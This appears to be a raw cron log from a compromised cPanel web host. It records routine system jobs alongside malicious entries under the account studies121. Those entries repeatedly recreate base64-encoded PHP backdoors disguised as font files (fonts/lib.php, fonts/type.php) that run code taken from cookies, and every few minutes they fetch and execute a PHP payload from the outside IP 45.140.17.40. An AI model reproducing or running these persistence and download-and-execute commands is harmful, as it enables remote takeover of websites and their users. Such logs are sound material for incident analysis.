Sep 13 02:28:01 ip-184-168-122-23 CROND[31905]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 02:28:01 ip-184-168-122-23 CROND[31906]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:28:01 ip-184-168-122-23 CROND[31907]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:29:01 ip-184-168-122-23 CROND[32038]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 02:29:01 ip-184-168-122-23 CROND[32047]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:29:01 ip-184-168-122-23 CROND[32046]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:29:01 ip-184-168-122-23 CROND[32048]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 02:30:01 ip-184-168-122-23 CROND[32135]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 02:30:01 ip-184-168-122-23 CROND[32136]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:30:01 ip-184-168-122-23 CROND[32137]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 13 02:30:01 ip-184-168-122-23 CROND[32143]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:30:01 ip-184-168-122-23 CROND[32142]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 02:30:01 ip-184-168-122-23 CROND[32141]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 02:30:01 ip-184-168-122-23 CROND[32144]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 02:30:01 ip-184-168-122-23 CROND[32140]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 02:31:01 ip-184-168-122-23 CROND[32245]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 02:31:01 ip-184-168-122-23 CROND[32246]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 02:31:01 ip-184-168-122-23 CROND[32247]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 13 02:31:01 ip-184-168-122-23 CROND[32248]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:31:01 ip-184-168-122-23 CROND[32249]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:32:01 ip-184-168-122-23 CROND[32422]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:32:01 ip-184-168-122-23 CROND[32424]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 02:32:01 ip-184-168-122-23 CROND[32425]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 02:32:01 ip-184-168-122-23 CROND[32427]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 02:32:01 ip-184-168-122-23 CROND[32426]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:33:01 ip-184-168-122-23 CROND[32555]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:33:01 ip-184-168-122-23 CROND[32558]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:33:01 ip-184-168-122-23 CROND[32557]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 02:33:01 ip-184-168-122-23 CROND[32560]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 02:34:01 ip-184-168-122-23 CROND[32645]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 02:34:01 ip-184-168-122-23 CROND[32649]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:34:01 ip-184-168-122-23 CROND[32650]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 02:34:01 ip-184-168-122-23 CROND[32647]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:34:01 ip-184-168-122-23 CROND[32648]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 02:35:01 ip-184-168-122-23 CROND[32745]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 02:35:01 ip-184-168-122-23 CROND[32746]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 02:35:01 ip-184-168-122-23 CROND[32750]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:35:01 ip-184-168-122-23 CROND[32749]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 13 02:35:01 ip-184-168-122-23 CROND[32754]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 02:35:01 ip-184-168-122-23 CROND[32753]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 02:35:01 ip-184-168-122-23 CROND[32748]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:35:01 ip-184-168-122-23 CROND[32752]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 13 02:36:01 ip-184-168-122-23 CROND[408]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 02:36:01 ip-184-168-122-23 CROND[409]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:36:01 ip-184-168-122-23 CROND[412]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 02:36:01 ip-184-168-122-23 CROND[413]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 02:36:01 ip-184-168-122-23 CROND[414]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:37:01 ip-184-168-122-23 CROND[590]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 02:37:01 ip-184-168-122-23 CROND[588]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 02:37:01 ip-184-168-122-23 CROND[589]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:37:01 ip-184-168-122-23 CROND[591]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:38:01 ip-184-168-122-23 CROND[690]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 02:38:01 ip-184-168-122-23 CROND[691]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:38:01 ip-184-168-122-23 CROND[695]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 02:38:01 ip-184-168-122-23 CROND[693]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:38:01 ip-184-168-122-23 CROND[692]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 02:39:01 ip-184-168-122-23 CROND[785]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 02:39:01 ip-184-168-122-23 CROND[787]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:39:01 ip-184-168-122-23 CROND[788]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 13 02:39:01 ip-184-168-122-23 CROND[790]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:39:01 ip-184-168-122-23 CROND[789]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 02:40:02 ip-184-168-122-23 CROND[889]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 02:40:02 ip-184-168-122-23 CROND[887]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
